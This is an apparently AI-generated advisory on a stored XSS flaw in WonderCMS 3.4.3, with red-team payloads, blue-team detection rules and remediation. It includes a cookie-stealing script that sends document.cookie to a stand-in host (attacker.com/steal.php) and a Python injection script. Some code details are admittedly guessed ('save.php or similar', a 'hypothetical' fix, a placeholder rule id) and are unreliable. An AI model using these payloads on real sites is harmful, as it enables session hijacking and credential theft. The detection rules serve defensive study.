CVE-2024-32341

Executive Summary

CVE-2024-32341 identifies multiple stored cross-site scripting (XSS) vulnerabilities in WonderCMS v3.4.3. An attacker can inject arbitrary web scripts or HTML into the Home page parameters, leading to session hijacking, credential theft, or defacement. The vulnerability is unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for unhardened instances.

Supply Chain & Package Security

WonderCMS is a flat-file CMS distributed via GitHub and its official website. No NPM, PyPI, Go, or Ruby packages are involved. The vulnerability exists in the core application code, not in a third-party dependency. Users should monitor the official repository for patches and consider manual code review.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can lead to account takeover or data theft if an admin is targeted.

Deep Dive & Mechanics

WonderCMS v3.4.3 fails to sanitize user-supplied input in the Home page parameters (e.g., ?p=home&a=save). The application stores these parameters directly into the database without proper encoding or validation. When the page is rendered, the injected script executes in the context of the victim's browser.

Root Cause: The save action in the admin panel does not escape HTML entities before storing content. The render function outputs raw data without sanitization.

Attack Vector: An authenticated attacker (or a victim tricked into performing an action) can inject JavaScript into the site title, description, or custom HTML blocks. The payload executes when any user visits the Home page.

Impact:

• Session cookie theft
• Redirection to malicious sites
• Defacement of the CMS
• Phishing attacks via injected forms

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3):

// In save.php or similar
$data = $_POST['content'];
file_put_contents('database.js', $data); // No sanitization

Patched Code (Hypothetical fix):

// In save.php
$data = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');
file_put_contents('database.js', $data);

Explanation: The vulnerable code directly writes user input to the database file. The patched version uses htmlspecialchars() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WonderCMS v3.4.3 installed
• Admin credentials (or ability to trick an admin)

Exploit Steps:

1. Log in to the admin panel.
2. Navigate to the Home page settings.
3. Inject a payload into the "Site Title" field:

   <script>alert('XSS')</script>
   

4. Save the changes.
5. Any user visiting the Home page will see the alert.

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Automated Exploit (Python):

import requests

target = "http://target.com"
payload = "<script>alert('XSS')</script>"
session = requests.Session()
# Login first
session.post(target + "/login", data={"username": "admin", "password": "password"})
# Inject payload
session.post(target + "/?p=home&a=save", data={"content": payload})
print("Payload injected. Visit the home page.")

Blue Team

Detection:

• Monitor for unusual POST requests to /?p=home&a=save containing <script> tags.
• Check server logs for alert() or document.cookie in request parameters.
• Use WAF rules to block common XSS patterns.

Honeypot:

• Deploy a fake WonderCMS instance and log all POST data for analysis.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /?p=home&a=save with HTML/JavaScript payloads.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com/steal.php).
• File System:
  • Modified database.js file containing <script> tags.
• Logs:
  • Repeated alert() or eval() calls in browser console logs.
  • Unusual document.cookie access in JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_32341_XSS_WonderCMS {
    meta:
        description = "Detects XSS payloads in WonderCMS database.js"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-32341"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: WonderCMS XSS Injection via Home Page Parameters
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts against WonderCMS v3.4.3
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/?p=home&a=save"
        cs-uri-query|contains: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate admin edits with HTML (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32341 WonderCMS XSS Injection"; flow:to_server,established; content:"POST"; http_method; content:"/?p=home&a=save"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: No patch available. Consider switching to a supported CMS.
2. Input Validation: Implement server-side sanitization using htmlspecialchars() or a library like HTML Purifier.
3. WAF Rules: Deploy a Web Application Firewall to block XSS patterns.
4. Content Security Policy (CSP): Add a CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

Long-Term Fix:

• Fork the repository and apply the patch manually.
• Monitor the official WonderCMS GitHub for updates.

Valters IT Signature:

Report generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.